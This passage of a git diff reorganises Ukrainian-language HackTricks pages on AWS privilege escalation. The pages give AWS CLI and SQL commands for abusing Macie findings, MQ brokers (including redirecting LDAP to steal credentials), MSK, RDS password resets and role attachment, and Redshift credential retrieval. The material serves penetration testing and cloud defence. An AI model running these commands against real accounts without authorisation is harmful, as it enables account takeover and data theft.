сервісів. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..f1f281d8f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Для детальнішої інформації про Macie перегляньте: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie — сервіс безпеки, що автоматично виявляє чутливі дані в AWS-середовищах, такі як credentials, personally identifiable information (PII) та інша конфіденційна інформація. Коли Macie виявляє чутливий секрет, наприклад AWS secret key, збережений в S3 bucket, він генерує finding, який дозволяє власнику переглянути "sample" виявлених даних. Зазвичай після видалення чутливого файлу з S3 bucket очікується, що секрет більше не можна буде отримати. + +Однак виявлено **bypass**, при якому attacker з достатніми правами може **re-upload a file with the same name**, але з іншим, не-чутливим тестовим вмістом. Це призводить до того, що Macie асоціює щойно завантажений файл з оригінальним finding, дозволяючи attacker за допомогою **"Reveal Sample" feature** витягти раніше виявлений секрет. Це становить значний ризик безпеки, оскільки секрети, які вважалися видаленими, залишаються доступними через цей метод. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Steps To Reproduce:** + +1. Завантажте файл (наприклад, `test-secret.txt`) у S3 bucket з конфіденційними даними, такими як AWS secret key. Зачекайте, поки AWS Macie просканує та згенерує finding. + +2. Перейдіть до AWS Macie Findings, знайдіть згенерований finding і використайте **Reveal Sample** для перегляду виявленого секрету. + +3. Видаліть `test-secret.txt` з S3 bucket і переконайтесь, що файл більше не існує. + +4. Створіть новий файл з ім'ям `test-secret.txt` з тестовими даними та повторно завантажте його в той самий S3 bucket, використовуючи **attacker's account**. + +5. Поверніться до AWS Macie Findings, відкрийте оригінальний finding і натисніть **Reveal Sample** ще раз. + +6. Зауважте, що Macie все ще показує оригінальний секрет, незважаючи на те, що файл було видалено та замінено іншим вмістом **from different accounts, in our case it will be the attacker's account**. + +**Summary:** + +Ця вразливість дозволяє attacker з достатніми правами AWS IAM відновлювати раніше виявлені секрети навіть після того, як оригінальний файл було видалено з S3. Якщо буде виявлено AWS secret key, access token або інші чутливі credential, attacker може скористатися цим дефектом, щоб отримати їх і заволодіти несанкціонованим доступом до AWS resources. Це може призвести до privilege escalation, несанкціонованого доступу до даних або подальшого компрометування cloud assets, що внаслідок — витоку даних та перебоїв у роботі сервісів. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index 17fa87a57..2b618d37d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,16 +1,16 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Змінює ім'я користувача та пароль першого IngestEndpoint каналу. (Цей API застарілий для RotateIngestEndpointCredentials) +Змінює username та password першого IngestEndpoint у Channel. (Цей API застарілий — використовуйте RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Змінює ім'я користувача та пароль першого IngestEndpoint каналу. (Цей API застарілий для RotateIngestEndpointCredentials) +Змінює username та password першого IngestEndpoint у Channel. (Цей API застарілий для RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` @@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint- - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index 68bc4f9b2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -Для отримання додаткової інформації про MQ дивіться: - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -З цими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Потенційний вплив:** Доступ до чутливої інформації через ActiveMQ - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -З цими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Потенційний вплив:** Доступ до чутливої інформації через ActiveMQ - -### `mq:ListBrokers`, `mq:UpdateBroker` - -Якщо брокер використовує **LDAP** для авторизації з **ActiveMQ**, можливо **змінити** **конфігурацію** сервера LDAP, що використовується, на **той, що контролюється атакуючим**. Таким чином, атакуючий зможе **викрасти всі облікові дані, що надсилаються через LDAP**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -Якщо ви зможете якимось чином знайти оригінальні облікові дані, використані ActiveMQ, ви зможете виконати MitM, вкрасти облікові дані, використати їх на оригінальному сервері та надіслати відповідь (можливо, просто повторно використавши вкрадені облікові дані, ви зможете це зробити). - -**Потенційний вплив:** Вкрасти облікові дані ActiveMQ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..4af7f569a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +Для отримання додаткової інформації про MQ див.: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +З такими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Потенційний вплив:** Доступ до конфіденційної інформації при навігації у ActiveMQ + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +З цими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Можливий вплив:** Отримання доступу до конфіденційної інформації під час роботи з ActiveMQ + +### `mq:ListBrokers`, `mq:UpdateBroker` + +Якщо брокер використовує **LDAP** для авторизації з **ActiveMQ**, можливо **змінити** **конфігурацію** LDAP‑сервера, що використовується, на **таку, що контролюється атакуючим**. Таким чином атакуючий зможе **вкрасти всі облікові дані, що передаються через LDAP**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Якщо ви якимось чином зможете знайти оригінальні credentials, які використовуються ActiveMQ, ви зможете виконати MitM, вкрасти creds, використати їх на оригінальному сервері та відправити відповідь (можливо, просто повторно використовуючи вкрадені credentials, ви зможете це зробити). + +**Потенційний вплив:** Вкрасти ActiveMQ credentials + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index a7af5169e..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -Для отримання додаткової інформації про MSK (Kafka) перегляньте: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -З цими **привілеями** та **доступом до VPC, де знаходяться kafka брокери**, ви можете додати **None authentication** для доступу до них. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -Вам потрібен доступ до VPC, оскільки **ви не можете увімкнути анонімну аутентифікацію з Kafka, що публічно** відкритий. Якщо він публічно відкритий, якщо використовується **SASL/SCRAM** аутентифікація, ви могли б **прочитати секрет** для доступу (вам знадобляться додаткові привілеї для читання секрету).\ -Якщо використовується **аутентифікація на основі ролей IAM** і **kafka публічно відкритий**, ви все ще могли б зловживати цими привілеями, щоб надати собі дозволи для доступу до нього. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..8c41429d9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +Для отримання додаткової інформації про MSK (Kafka) див. нижче: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Маючи ці **привілеї** та **доступ до VPC, де розміщені kafka brokers**, ви можете додати **None authentication**, щоб отримати до них доступ. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +Вам потрібен доступ до VPC, тому що **ви не можете увімкнути None authentication with Kafka publicly exposed**. Якщо він публічно доступний, і використовується автентифікація **SASL/SCRAM**, ви можете **прочитати секрет** для доступу (вам знадобляться додаткові привілеї, щоб прочитати секрет).\ +Якщо використовується автентифікація **IAM role-based authentication** і **kafka is publicly exposed**, ви все одно можете зловживати цими привілеями, щоб надати собі дозволи для доступу. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 61a84d605..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Організації Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Організації - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Від облікового запису управління до дочірніх облікових записів - -Якщо ви зламаєте обліковий запис root/управління, є ймовірність, що ви зможете зламати всі дочірні облікові записи.\ -Щоб [**дізнатися, як, перегляньте цю сторінку**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..61a151e09 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## Від management Account до дочірніх акаунтів + +Якщо ви скомпрометуєте root/management account, ймовірно, ви зможете скомпрометувати всі дочірні акаунти.\ +[**щоб дізнатися як, перегляньте цю сторінку**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index 066b14d3f..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - Служба реляційних баз даних - -Для отримання додаткової інформації про RDS дивіться: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -З цією дозволом зловмисник може **змінити пароль майстер-користувача** та вхід до бази даних: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Вам потрібно буде мати можливість **зв'язатися з базою даних** (вони зазвичай доступні лише з внутрішніх мереж). - -**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. - -### rds-db:connect - -Згідно з [**документацією**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), користувач з цим дозволом може підключитися до екземпляра БД. - -### Зловживання дозволами ролі RDS IAM - -#### Postgresql (Aurora) - -> [!TIP] -> Якщо виконуючи **`SELECT datname FROM pg_database;`** ви знайдете базу даних під назвою **`rdsadmin`**, ви знаєте, що ви всередині **AWS postgresql бази даних**. - -Спочатку ви можете перевірити, чи використовувалася ця база даних для доступу до будь-якої іншої служби AWS. Ви можете перевірити це, подивившись на встановлені розширення: -```sql -SELECT * FROM pg_extension; -``` -Якщо ви знайдете щось на кшталт **`aws_s3`**, ви можете припустити, що ця база даних має **якийсь доступ до S3** (є й інші розширення, такі як **`aws_ml`** та **`aws_lambda`**). - -Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете побачити, чи **кластер має будь-яку IAM роль, прикріплену** в полі **`AssociatedRoles`**. Якщо так, ви можете припустити, що база даних була **підготовлена для доступу до інших сервісів AWS**. Виходячи з **назви ролі** (або якщо ви можете отримати **дозволи** ролі), ви могли б **вгадати**, який додатковий доступ має база даних. - -Тепер, щоб **прочитати файл всередині бакету**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -Якщо у вас є **сирі AWS облікові дані**, ви також можете використовувати їх для доступу до даних S3 за допомогою: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **не потрібно змінювати жодну змінну групи параметрів**, щоб мати доступ до S3. - -#### Mysql (Aurora) - -> [!TIP] -> Всередині mysql, якщо ви виконаєте запит **`SELECT User, Host FROM mysql.user;`** і є користувач з ім'ям **`rdsadmin`**, ви можете припустити, що ви знаходитесь всередині **AWS RDS mysql db**. - -Всередині mysql виконайте **`show variables;`** і якщо змінні, такі як **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, мають значення, ви можете припустити, що база даних підготовлена для доступу до даних S3. - -Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете перевірити, чи має кластер будь-яку **асоційовану роль**, що зазвичай означає доступ до сервісів AWS). - -Тепер, щоб **прочитати файл всередині бакету**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -Зловмисник з правами `rds:AddRoleToDBCluster` та `iam:PassRole` може **додати вказану роль до існуючого екземпляра RDS**. Це може дозволити зловмиснику **отримати доступ до чутливих даних** або змінити дані в межах екземпляра. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у RDS екземплярі.\ -Зверніть увагу, що деякі БД вимагають додаткових налаштувань, таких як Mysql, який потребує вказати роль ARN у групах параметрів. - -### `rds:CreateDBInstance` - -Тільки з цим дозволом зловмисник може створити **новий екземпляр всередині кластера**, який вже існує і має прикріплену **IAM роль**. Він не зможе змінити пароль майстер-користувача, але може мати можливість виставити новий екземпляр бази даних в інтернет: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Test - -Зловмисник з правами `rds:CreateDBInstance` та `iam:PassRole` може **створити новий екземпляр RDS з прикріпленою вказаною роллю**. Потім зловмисник може потенційно **отримати доступ до чутливих даних** або змінити дані в екземплярі. - -> [!WARNING] -> Деякі вимоги до ролі/профілю екземпляра для прикріплення (з [**тут**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - Профіль повинен існувати у вашому обліковому записі. -> - Профіль повинен мати IAM роль, яку Amazon EC2 має право приймати. -> - Ім'я профілю екземпляра та пов'язане ім'я IAM ролі повинні починатися з префікса `AWSRDSCustom`. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у RDS екземплярі. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -Зловмисник з правами `rds:AddRoleToDBInstance` та `iam:PassRole` може **додати вказану роль до існуючого RDS екземпляра**. Це може дозволити зловмиснику **доступ до чутливих даних** або змінити дані в межах екземпляра. - -> [!WARNING] -> DB екземпляр повинен бути поза кластером для цього -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..392aa3efa --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - Реляційний сервіс баз даних + +Для отримання додаткової інформації про RDS дивіться: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +З цим дозволом зловмисник може **modify the password of the master user**, та змінити login всередині бази даних: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Вам потрібно мати можливість **зв'язатися з базою даних** (зазвичай вони доступні лише зсередини мереж). + +**Потенційний вплив:** Знайти конфіденційну інформацію в базах даних. + +### rds-db:connect + +Згідно з [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) користувач з цим дозволом може підключитися до екземпляра бази даних. + +### Зловживання дозволами IAM ролі RDS + +#### Postgresql (Aurora) + +> [!TIP] +> Якщо при виконанні **`SELECT datname FROM pg_database;`** ви знайдете базу даних з назвою **`rdsadmin`**, це означає, що ви перебуваєте всередині **AWS postgresql database**. + +Спочатку ви можете перевірити, чи використовувалась ця база даних для доступу до інших сервісів AWS. Це можна зробити, переглянувши встановлені розширення: +```sql +SELECT * FROM pg_extension; +``` +Якщо ви знайдете щось на кшталт **`aws_s3`** ви можете припустити, що ця база даних має **якийсь доступ до S3** (є й інші розширення, такі як **`aws_ml`** та **`aws_lambda`**). + +Крім того, якщо у вас є дозволи запускати **`aws rds describe-db-clusters`** ви зможете там побачити, чи **кластер має приєднану IAM Role** в полі **`AssociatedRoles`**. Якщо так, ви можете припустити, що база даних була **підготовлена для доступу до інших сервісів AWS**. На основі **імені ролі** (або якщо ви зможете отримати **дозволи** ролі) ви могли б **здогадатися** який додатковий доступ має база даних. + +Тепер, щоб **прочитати файл всередині bucket'а** вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +Якщо б у вас були **raw AWS credentials**, ви також могли б використати їх для доступу до даних S3 за допомогою: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **не потрібно змінювати будь-яку змінну parameter group**, щоб мати доступ до S3. + +#### Mysql (Aurora) + +> [!TIP] +> Всередині mysql, якщо ви виконаєте запит **`SELECT User, Host FROM mysql.user;`** і там є користувач **`rdsadmin`**, можна припустити, що ви знаходитесь в **AWS RDS mysql db**. + +Всередині mysql виконайте **`show variables;`** і якщо такі змінні, як **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, мають значення, можна вважати, що база даних підготовлена для доступу до даних S3. + +Також, якщо у вас є права виконувати **`aws rds describe-db-clusters`**, ви можете перевірити, чи має кластер якийсь **associated role**, що зазвичай означає доступ до сервісів AWS). + +Тепер, щоб **прочитати файл всередині bucket**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +Зловмисник з дозволами `rds:AddRoleToDBCluster` та `iam:PassRole` може **додати зазначену роль до існуючого RDS instance**. Це може дозволити зловмиснику **отримати доступ до конфіденційних даних** або змінити дані всередині RDS instance. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Потенційний вплив**: Доступ до конфіденційних даних або несанкціоновані зміни даних в екземплярі RDS.\ +Зверніть увагу, що деякі DBs вимагають додаткових конфігурацій, такі як Mysql, для яких також потрібно вказати role ARN в aprameter groups. + +### `rds:CreateDBInstance` + +Лише з цим дозволом нападник може створити **новий екземпляр всередині кластера**, який вже існує та має прикріплений **IAM role**. Він не зможе змінити пароль головного користувача, але може зуміти відкрити новий екземпляр бази даних в інтернет: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO: Потрібно протестувати + +Зловмисник із дозволами `rds:CreateDBInstance` та `iam:PassRole` може **створити новий RDS instance з прикріпленою вказаною роллю**. Зловмисник тоді потенційно може **отримати доступ до конфіденційних даних** або змінити дані всередині інстансу. + +> [!WARNING] +> Деякі вимоги до role/instance-profile для прикріплення (з [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> +> - Профіль має існувати у вашому акаунті. +> - Профіль повинен мати IAM роль, яку Amazon EC2 має дозволи assume. +> - Ім'я instance profile та пов'язане ім'я IAM ролі повинні починатися з префіксу `AWSRDSCustom` . +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Potential Impact**: Доступ до конфіденційних даних або несанкціоновані зміни даних в RDS інстансі. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +Зловмисник з дозволами `rds:AddRoleToDBInstance` та `iam:PassRole` може **додати вказану роль до існуючого RDS інстансу**. Це може дозволити зловмисникові **отримати доступ до конфіденційних даних** або змінювати дані всередині інстансу. + +> [!WARNING] +> DB instance має бути поза кластером, щоб це спрацювало +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Potential Impact**: Доступ до чутливих даних або несанкціоновані зміни даних в екземплярі RDS. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md deleted file mode 100644 index 1cd08aaa9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Redshift Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Redshift - -Для отримання додаткової інформації про RDS перегляньте: - -{{#ref}} -../aws-services/aws-redshift-enum.md -{{#endref}} - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` - -З цими дозволами ви можете отримати **інформацію про всі кластери** (включаючи назву та ім'я користувача кластера) та **отримати облікові дані** для доступу до нього: -```bash -# Get creds -aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 -``` -**Потенційний вплив:** Знайти чутливу інформацію в базах даних. - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` - -З цими дозволами ви можете отримати **інформацію про всі кластери** та **отримати облікові дані** для доступу до них.\ -Зверніть увагу, що користувач postgres матиме **дозволи, які має IAM-ідентичність**, використана для отримання облікових даних. -```bash -# Get creds -aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 -``` -**Потенційний вплив:** Знайти чутливу інформацію в базах даних. - -### `redshift:DescribeClusters`, `redshift:ModifyCluster?` - -Можливо **змінити майстер-пароль** внутрішнього користувача postgres (redshift) з aws cli (я думаю, що це ті дозволи, які вам потрібні, але я ще не тестував їх): -``` -aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; -``` -**Потенційний вплив:** Знайти чутливу інформацію в базах даних. - -## Доступ до зовнішніх сервісів - -> [!WARNING] -> Щоб отримати доступ до всіх наступних ресурсів, вам потрібно **вказати роль для використання**. Кластер Redshift **може мати призначений список ролей AWS**, які ви можете використовувати **якщо знаєте ARN**, або ви можете просто встановити "**default**", щоб використовувати призначену за замовчуванням. - -> Більше того, як [**пояснено тут**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу), щоб отримати подальший доступ, просто **розділяючи** їх комою: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` - -### Лямбди - -Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), можливо **викликати функцію лямбда з redshift** з чимось на зразок: -```sql -CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) -RETURNS INT -STABLE -LAMBDA 'lambda_function' -IAM_ROLE default; -``` -### S3 - -Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), можливо **читати та записувати в S3 бакети**: -```sql -# Read -copy table from 's3:///load/key_prefix' -credentials 'aws_iam_role=arn:aws:iam:::role/' -region '' -options; - -# Write -unload ('select * from venue') -to 